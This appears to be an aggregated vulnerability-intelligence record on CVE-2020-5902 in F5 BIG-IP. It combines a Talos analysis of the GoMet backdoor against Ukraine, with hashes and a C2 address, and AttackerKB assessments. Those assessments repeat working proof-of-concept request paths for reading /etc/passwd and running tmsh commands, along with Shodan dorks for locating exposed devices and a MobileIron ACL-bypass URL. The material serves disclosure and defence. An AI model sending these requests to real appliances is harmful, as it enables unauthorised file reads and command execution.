vulnerability in F5 BIG-IP Traffic Management User Interface\n\nVulnerability Type: File Disclosure", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-07-05T00:00:00", "type": "dsquare", "title": "F5 BIG-IP Traffic Management User Interface File Disclosure", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-05T00:00:00", "id": "E-709", "href": "", "sourceData": "For the exploit source code contact DSquare Security sales team.", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "talosblog": [{"lastseen": "2020-07-07T09:54:15", "description": "By Jon Munshaw. Cisco Talos just released Snort coverage for a prominent vulnerability in F5\u2019s BIG-IP. BIG-IP is one of the most popular networking products on the modern market. This product is used to shape web traffic, access gateways, limit rates and much more. F5 disclosed a remote code execution over the weekend that was assigned a maximum 10 out of 10 severity score. CVE-2020-5902 is a remote code execution vulnerability in BIG-IP's configuration interface. Users are urged to make... \n \n[[ This is only the beginning! Please visit the blog for the complete entry ]]", "cvss3": {}, "published": "2020-07-06T14:19:53", "type": "talosblog", "title": "New Snort rule addresses critical vulnerability in F5 BIG-IP", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2020-5902"], "modified": "2020-07-06T14:19:53", "id": "TALOSBLOG:07EF8115BB6D3EE80E914E6572FFCD88", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/WdHAUZcKoHk/snort-rule-f5-rce-critical-vuln.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-07-21T15:37:29", "description": " \n \n \n\n\n## Executive summary\n\n \n\n\nSince the Russian invasion of Ukraine began, Ukrainians have been under a [nearly constant barrage of cyber attacks](<https://blogs.cisco.com/news/cisco-stands-on-guard-with-our-customers-in-ukraine>). Working jointly with Ukrainian organizations, Cisco Talos has discovered a fairly uncommon piece of malware targeting Ukraine \u2014 this time aimed at a large software development company whose software is used in various state organizations within Ukraine. We believe that this campaign is likely sourced by Russian state-sponsored actors or those acting in their interests. As this firm is involved in software development, we cannot ignore the possibility that the perpetrating threat actor's intent was to gain access to source a supply chain-style attack, though at this time we do not have any evidence that they were successful. Cisco Talos confirmed that the malware is a slightly modified version of the open-source backdoor named \"[GoMet](<https://github.com/Laeeth/GoMet>).\" The malware was first observed on March 28, 2022. \n \n \n\n\n## GoMet backdoor\n\n \n\n\nThe story of this backdoor is rather curious \u2014 there are two documented cases of its usage by sophisticated threat actors. First, in 2020, attackers were deploying this malware after the successful exploitation of [CVE-2020-5902](<https://blog.talosintelligence.com/2020/07/snort-rule-f5-rce-critical-vuln.html>), a vulnerability in F5 BIG-IP so severe that USCYBERCOM posted a [tweet](<https://twitter.com/CNMF_CyberAlert/status/1279151966178902016>) urging all users to patch the application. The second is more recent and involved the [successful exploitation](<https://news.sophos.com/en-us/2022/06/15/sophos-uncovers-how-apt-groups-carried-out-highly-targeted-attack/>) of [CVE-2022-1040](<https://www.sophos.com/en-us/security-advisories/sophos-sa-20220325-sfos-rce>), a remote code execution vulnerability in Sophos Firewall. \n \nBoth cases are very similar. They both start with the exploitation of a public vulnerability on appliances where the malicious actors then dropped GoMet as a backdoor. As of publishing time, Cisco Talos has no reason to believe these cases are related to the usage of this backdoor in Ukraine. \n \nThe original GoMet author posted the code on GitHub on March 31, 2019 and had commits until April 2, 2019. The commits didn't add any features but did fix some code convention aesthetics. The backdoor itself is a rather simple piece of software written in the Go programming language. It contains nearly all the usual functions an attacker might want in a remotely controlled agent. Agents can be deployed on a variety of operating systems (OS) or architectures (amd64, arm, etc.). GoMet supports job scheduling (via Cron or task scheduler depending on the OS), single command execution, file download, file upload or opening a shell. An additional notable feature of GoMet lies in its ability to daisy chain \u2014 whereby the attackers gain access to a network or machine and then use that same information to gain access to multiple networks and computers \u2014 connections from one implanted host to another. Such a feature could allow for communication out to the internet from otherwise completely \"isolated\" hosts. \n \nThis version was changed by malicious actors, in the original code, the cronjob is configured to be executed once every hour on the hour. In our samples, the cronjob is configured to run every two seconds. This change makes the sample slightly more noisy since it executes every two seconds, but also prevents an hour-long sleep if the connection fails which would allow for more aggressive reconnection to the C2. \n \nThe objective of the cron job defined in the main part of the malware is to check if it's connected to the C2, if not it will start the agent component again and connect to the C2. The picture below shows the execution flow of the C2 setup routine Agent.Start. \n \n\n\n\n\n \nThis flow reveals another change to the GitHub versions. If the C2 is unreachable, the sample will sleep for a random amount of time between five and 10 minutes. GO's sleep implementation uses nanoseconds. The Pseudo Code would look like the following: time_Sleep(1000000000 * (rnd_val + 300)). \n \nThe 'WaitGroup_Add' call in the disassembly screenshot can also be confusing. The trick is, the Go compiler is changing the source code WaitGroup.Done() to WaitGroup.Add(-1). \n \nAfter the Agent.start routine is done, the next cron job triggered the execution of the serve() routine and tried to start another instance of the Agent. \n \nThe simplified source code of the GitHub version looks like this: \n \n\n\n\n\n \n \nThe simplified pseudo-code for the samples in the wild looks like this: \n \n\n\n\n\n \n \nTalos found two samples of this version of the backdoor: \n \nf24158c5132943fbdeee4de4cedd063541916175434f82047b6576f86897b1cb (FctSec.exe) \n \n950ba2cc9b1dfaadf6919e05c854c2eaabbacb769b2ff684de11c3094a03ee88 (SQLocalM86.exe) \n \nThese samples have minor differences but are likely built from the same source code, just with a slightly different configuration. \n \nIf we look closely at the functions, they are not 100% equal, but we can see that the changes are mainly strings and similar victim or compiler-dependent data, along with researcher comments. Below is the Main.Main function as an example. \n \n\n\n\n\n \n \nThe malicious activity we detected included a fake Windows update scheduled tasks created by the GoMet dropper. Additionally, the malware used a somewhat novel approach to persistence. It enumerated the autorun values and, instead of creating a new one, replaced one of the existing goodware autorun executables with the malware. This potentially could avoid detection or hinder forensic analysis. \n \nIn one of the cases, about 60 seconds before the schtask query is executed, a blank CMD process is opened and then subsequently executes systeminfo and schtask queries rather than these queries being chain opened by svchost or services or another process. This execution looks like: \n \nC:\\WINDOWS\\system32\\cmd.exe 7) \n \nsysteminfo \n \nschtasks /query /tn microsoft\\windows\\windowsupdate\\scheduled \n \nschtasks /query /tn microsoft\\windows\\windowsupdate\\scheduled /v \n \n \n\n\n## Infrastructure\n\n \n\n\nBoth samples have the command and control (C2) IP address hardcoded, which is 111.90.139[.]122. Communication occurs via HTTPS on the default port. \n \nThe certificate on this server was issued on April 4, 2021 as a self-signed certificate, with the 9b5e112e683a3605c9481d8f565cfb3b7e2feab7 SHA-1 fingerprint. This indicates that this campaign preparation began as early as April 2021. At the moment, there are no known domains associated with this IP address and the last time there was a domain associated with it was on Jan. 23, 2021, which is outside the known attack time frame. \n \n \n\n\n## Conclusion\n\n \n\n\nAs the war in Ukraine rages on with little resolution in sight, we are reminded that attackers will try just about anything to gain additional leverage over their Ukrainian adversaries. Cisco Talos expects to see the continued deployment of a range of cyber weapons targeting the Ukrainian government and its counterparts. We remain vigilant and are committed to [helping Ukraine defend its networks](<https://blogs.cisco.com/news/cisco-stands-on-guard-with-our-customers-in-ukraine%23:~:text%3DAs%2520the%2520Russia%252Dled%2520invasion,ensure%2520that%2520nothing%2520goes%2520dark.>) against such cyber attacks and working closely with our strategic allies in the region to gather and [provide actionable threat intelligence](<https://blog.talosintelligence.com/2022/02/current-executive-guidance-for-ongoing.html>). \n \nIn this instance, we saw a software company targeted with a backdoor designed for additional persistent access. We also observed the threat actor take active steps to prevent detection of their tooling by obfuscating samples and utilizing novel persistence techniques. This access could be leveraged in a variety of ways, including deeper access or launching additional attacks, including the potential for software supply chain compromise. It's a reminder that although the cyber activities haven't necessarily risen to the level many have expected, Ukraine is still facing a well-funded, determined adversary that can inflict damage in a variety of ways \u2014 this is just the latest example of those attempts. \n \nWe assess with moderate to high confidence that these actions are being conducted by Russian state-sponsored actors or those acting in their interests. \n \n \n\n\n## Coverage\n\n \nWays our customers can detect and block this threat are listed below. \n \n\n\n\n\n \n[Cisco Secure Endpoint](<https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/index.html>) (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free [here.](<https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/free-trial.html?utm_medium%3Dweb-referral?utm_source%3Dcisco%26utm_campaign%3Damp-free-trial%26utm_term%3Dpgm-talos-trial%26utm_content%3Damp-free-trial>) \n \n[Cisco Secure Web Appliance](<https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html>) web scanning prevents access to malicious websites and detects malware used in these attacks. \n \n[Cisco Secure Email](<https://www.cisco.com/c/en/us/products/security/email-security/index.html>) (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free [here](<https://www.cisco.com/c/en/us/products/security/cloud-mailbox-defense?utm_medium%3Dweb-referral%26utm_source%3Dcisco%26utm_campaign%3Dcmd-free-trial-request%26utm_term%3Dpgm-talos-trial>). \n \n[Cisco Secure Firewall](<https://www.cisco.com/c/en/us/products/security/firewalls/index.html>) (formerly Next-Generation Firewall and Firepower NGFW) appliances such as [Threat Defense Virtual](<https://www.cisco.com/c/en/us/products/collateral/security/firepower-ngfw-virtual/datasheet-c78-742858.html>), [Adaptive Security Appliance](<https://www.cisco.com/c/en/us/products/security/adaptive-security-appliance-asa-software/index.html>) and [Meraki MX](<https://meraki.cisco.com/products/appliances>) can detect malicious activity associated with this threat. \n \n[Cisco Secure Network/Cloud Analytics](<https://www.cisco.com/c/en/us/products/security/stealthwatch/index.html>) (Stealthwatch/Stealthwatch Cloud) analyzes network traffic automatically and alerts users of potentially unwanted activity on every connected device. \n \n[Cisco Secure Malware Analytics](<https://www.cisco.com/c/en/us/products/security/threat-grid/index.html>) (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products. \n \n[Umbrella](<https://umbrella.cisco.com/>), Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella [here](<https://signup.umbrella.com/?utm_medium%3Dweb-referral?utm_source%3Dcisco%26utm_campaign%3Dumbrella-free-trial%26utm_term%3Dpgm-talos-trial%26utm_content%3Dautomated-free-trial>). \n \n[Cisco Secure Web Appliance](<https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html>) (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them. \n \nAdditional protections with context to your specific environment and threat data are available from the [Firewall Management Center](<https://www.cisco.com/c/en/us/products/security/firepower-management-center/index.html>). \n \n[Cisco Duo](<https://signup.duo.com/?utm_source%3Dtalos%26utm_medium%3Dreferral%26utm_campaign%3Dduo-free-trial>) provides multi-factor authentication for users to ensure only those authorized are accessing your network. \n \nOpen-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on [Snort.org](<https://www.snort.org/products>). \n \n \n\n\n## Indicators of Compromise\n\n### SHA-256 Hashes\n\nf24158c5132943fbdeee4de4cedd063541916175434f82047b6576f86897b1cb \n950ba2cc9b1dfaadf6919e05c854c2eaabbacb769b2ff684de11c3094a03ee88 \n \n\n\n### IPs\n\n111.90.139[.]122", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-21T12:00:00", "type": "talosblog", "title": "Attackers target Ukraine using GoMet backdoor", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902", "CVE-2022-1040"], "modified": "2022-07-21T13:27:08", "id": "TALOSBLOG:0D782B308C337CFD06D5A38B03FC90B4", "href": "http://blog.talosintelligence.com/2022/07/attackers-target-ukraine-using-gomet.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "attackerkb": [{"lastseen": "2022-06-03T23:01:58", "description": "In BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.\n\n \n**Recent assessments:** \n \n**Mad-robot** at July 05, 2020 1:21pm UTC reported:\n\n**CVE-2020-5902**\n\nIn BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.\n \n \n /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp\n \n /tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa\n \n /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\n \n /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'\n \n\n**Patch &amp; Mitigation:-**\n \n \n <LocationMatch \".*\\.\\.;.*\">\n Redirect 404 /\n </LocationMatch>\n \n\n**Versions Effected**\n\n * BIG-IP 15.x: 15.1.0/15.0.0 \n\n * BIG-IP 14.x: 14.1.0 ~ 14.1.2 \n\n * BIG-IP 13.x: 13.1.0 ~ 13.1.3 \n\n * BIG-IP 12.x: 12.1.0 ~ 12.1.5 \n\n * BIG-IP 11.x: 11.6.1 ~ 11.6.5 \n\n\n**Dorks** \n<https://beta.shodan.io/search?query=vuln%3Acve-2020-5902>\n\n<https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+%223992%22>\n\n**kevthehermit** at July 03, 2020 5:30pm UTC reported:\n\n**CVE-2020-5902**\n\nIn BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.\n \n \n /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp\n \n /tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa\n \n /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\n \n /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'\n \n\n**Patch &amp; Mitigation:-**\n \n \n <LocationMatch \".*\\.\\.;.*\">\n Redirect 404 /\n </LocationMatch>\n \n\n**Versions Effected**\n\n * BIG-IP 15.x: 15.1.0/15.0.0 \n\n * BIG-IP 14.x: 14.1.0 ~ 14.1.2 \n\n * BIG-IP 13.x: 13.1.0 ~ 13.1.3 \n\n * BIG-IP 12.x: 12.1.0 ~ 12.1.5 \n\n * BIG-IP 11.x: 11.6.1 ~ 11.6.5 \n\n\n**Dorks** \n<https://beta.shodan.io/search?query=vuln%3Acve-2020-5902>\n\n<https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+%223992%22>\n\n**ccondon-r7** at July 04, 2020 10:41pm UTC reported:\n\n**CVE-2020-5902**\n\nIn BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.\n \n \n /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp\n \n /tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa\n \n /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\n \n /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'\n \n\n**Patch &amp; Mitigation:-**\n \n \n <LocationMatch \".*\\.\\.;.*\">\n Redirect 404 /\n </LocationMatch>\n \n\n**Versions Effected**\n\n * BIG-IP 15.x: 15.1.0/15.0.0 \n\n * BIG-IP 14.x: 14.1.0 ~ 14.1.2 \n\n * BIG-IP 13.x: 13.1.0 ~ 13.1.3 \n\n * BIG-IP 12.x: 12.1.0 ~ 12.1.5 \n\n * BIG-IP 11.x: 11.6.1 ~ 11.6.5 \n\n\n**Dorks** \n<https://beta.shodan.io/search?query=vuln%3Acve-2020-5902>\n\n<https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+%223992%22>\n\n**busterb** at July 06, 2020 2:29am UTC reported:\n\n**CVE-2020-5902**\n\nIn BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.\n \n \n /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp\n \n /tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa\n \n /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\n \n /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'\n \n\n**Patch &amp; Mitigation:-**\n \n \n <LocationMatch \".*\\.\\.;.*\">\n Redirect 404 /\n </LocationMatch>\n \n\n**Versions Effected**\n\n * BIG-IP 15.x: 15.1.0/15.0.0 \n\n * BIG-IP 14.x: 14.1.0 ~ 14.1.2 \n\n * BIG-IP 13.x: 13.1.0 ~ 13.1.3 \n\n * BIG-IP 12.x: 12.1.0 ~ 12.1.5 \n\n * BIG-IP 11.x: 11.6.1 ~ 11.6.5 \n\n\n**Dorks** \n<https://beta.shodan.io/search?query=vuln%3Acve-2020-5902>\n\n<https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+%223992%22>\n\n**0xturazzi** at July 10, 2020 1:59pm UTC reported:\n\n**CVE-2020-5902**\n\nIn BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.\n \n \n /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp\n \n /tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa\n \n /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\n \n /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'\n \n\n**Patch &amp; Mitigation:-**\n \n \n <LocationMatch \".*\\.\\.;.*\">\n Redirect 404 /\n </LocationMatch>\n \n\n**Versions Effected**\n\n * BIG-IP 15.x: 15.1.0/15.0.0 \n\n * BIG-IP 14.x: 14.1.0 ~ 14.1.2 \n\n * BIG-IP 13.x: 13.1.0 ~ 13.1.3 \n\n * BIG-IP 12.x: 12.1.0 ~ 12.1.5 \n\n * BIG-IP 11.x: 11.6.1 ~ 11.6.5 \n\n\n**Dorks** \n<https://beta.shodan.io/search?query=vuln%3Acve-2020-5902>\n\n<https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+%223992%22>\n\n**gwillcox-r7** at October 20, 2020 5:49pm UTC reported:\n\n**CVE-2020-5902**\n\nIn BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.\n \n \n /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp\n \n /tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa\n \n /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\n \n /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'\n \n\n**Patch &amp; Mitigation:-**\n \n \n <LocationMatch \".*\\.\\.;.*\">\n Redirect 404 /\n </LocationMatch>\n \n\n**Versions Effected**\n\n * BIG-IP 15.x: 15.1.0/15.0.0 \n\n * BIG-IP 14.x: 14.1.0 ~ 14.1.2 \n\n * BIG-IP 13.x: 13.1.0 ~ 13.1.3 \n\n * BIG-IP 12.x: 12.1.0 ~ 12.1.5 \n\n * BIG-IP 11.x: 11.6.1 ~ 11.6.5 \n\n\n**Dorks** \n<https://beta.shodan.io/search?query=vuln%3Acve-2020-5902>\n\n<https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+%223992%22>\n\n**wvu-r7** at September 03, 2020 5:15pm UTC reported:\n\n**CVE-2020-5902**\n\nIn BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.\n \n \n /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp\n \n /tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa\n \n /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\n \n /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'\n \n\n**Patch &amp; Mitigation:-**\n \n \n <LocationMatch \".*\\.\\.;.*\">\n Redirect 404 /\n </LocationMatch>\n \n\n**Versions Effected**\n\n * BIG-IP 15.x: 15.1.0/15.0.0 \n\n * BIG-IP 14.x: 14.1.0 ~ 14.1.2 \n\n * BIG-IP 13.x: 13.1.0 ~ 13.1.3 \n\n * BIG-IP 12.x: 12.1.0 ~ 12.1.5 \n\n * BIG-IP 11.x: 11.6.1 ~ 11.6.5 \n\n\n**Dorks** \n<https://beta.shodan.io/search?query=vuln%3Acve-2020-5902>\n\n<https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+%223992%22>\n\n**miteshkwan1** at July 17, 2020 1:32pm UTC reported:\n\n**CVE-2020-5902**\n\nIn BIG-IP versions 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, and 11.6.1-11.6.5.1, the Traffic Management User Interface (TMUI), also referred to as the Configuration utility, has a Remote Code Execution (RCE) vulnerability in undisclosed pages.\n \n \n /tmui/login.jsp/..;/tmui/system/user/authproperties.jsp\n \n /tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa\n \n /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd\n \n /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'\n \n\n**Patch &amp; Mitigation:-**\n \n \n <LocationMatch \".*\\.\\.;.*\">\n Redirect 404 /\n </LocationMatch>\n \n\n**Versions Effected**\n\n * BIG-IP 15.x: 15.1.0/15.0.0 \n\n * BIG-IP 14.x: 14.1.0 ~ 14.1.2 \n\n * BIG-IP 13.x: 13.1.0 ~ 13.1.3 \n\n * BIG-IP 12.x: 12.1.0 ~ 12.1.5 \n\n * BIG-IP 11.x: 11.6.1 ~ 11.6.5 \n\n\n**Dorks** \n<https://beta.shodan.io/search?query=vuln%3Acve-2020-5902>\n\n<https://www.shodan.io/search?query=http.favicon.hash%3A-335242539+%223992%22>\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 5\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-01T00:00:00", "type": "attackerkb", "title": "CVE-2020-5902 \u2014 TMUI RCE vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-5902"], "modified": "2020-12-21T00:00:00", "id": "AKB:E88B8795-0434-4AC5-B3D5-7E3DAB8A60C1", "href": "https://attackerkb.com/topics/evLpPlZf0i/cve-2020-5902-tmui-rce-vulnerability", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-20T20:11:10", "description": "An authentication bypass vulnerability in MobileIron Core &amp; Connector versions 10.3.0.3 and earlier, 10.4.0.0, 10.4.0.1, 10.4.0.2, 10.4.0.3, 10.5.1.0, 10.5.2.0 and 10.6.0.0 that allows remote attackers to bypass authentication mechanisms via unspecified vectors.\n\n \n**Recent assessments:** \n \n**wvu-r7** at September 22, 2020 8:22pm UTC reported:\n \n \n https://mobileiron/mifs/.;/services/someService\n \n\nThe \u201c[auth bypass](<https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html>)\u201d relies on a discrepancy between how Apache and Tomcat parse the path component in the URI, which is the same technique that was applied to [CVE-2020-5902](<https://attackerkb.com/topics/evLpPlZf0i/cve-2020-5902-tmui-rce-vulnerability>).\n\n\u201cBypassing authentication\u201d allows one to achieve RCE against either the user interface or the management interface, though it\u2019s not clear that [CVE-2020-15505](<https://attackerkb.com/topics/Mo2aQDjmZ2/cve-2020-15505>) is the RCE used in the [blog post](<https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html>). This is more of an ACL bypass than an auth bypass, honestly. This was briefly mentioned in the post.\n\nSince MobileIron is [mobile device management (MDM)](<https://en.wikipedia.org/wiki/Mobile_device_management>) software, which is increasingly relevant as the workforce shifts toward remote work, compromising a target\u2019s MDM infrastructure may have devastating consequences.\n\nDevelopers gluing disparate pieces of software together should take care to avoid turning expected input from one software into unexpected input for another. This bug class is [well-documented](<https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf>). In the end, even input sanitization should take care to avoid normalization bugs.\n\nGreat find, Orange!\n\nAlso see [CVE-2020-15505](<https://attackerkb.com/topics/Mo2aQDjmZ2/cve-2020-15505>), a MobileIron RCE.\n\n**ETA: [CVE-2020-15505](<https://attackerkb.com/topics/Mo2aQDjmZ2/cve-2020-15505>) uses an _ACL_ bypass, but in retrospect, I don\u2019t think it\u2019s this _auth_ bypass.** This analysis can be applied to [CVE-2020-15505](<https://attackerkb.com/topics/Mo2aQDjmZ2/cve-2020-15505>), consequently.\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 4\n", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-07-07T00:00:00", "type": "attackerkb", "title": "CVE-2020-15506", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": 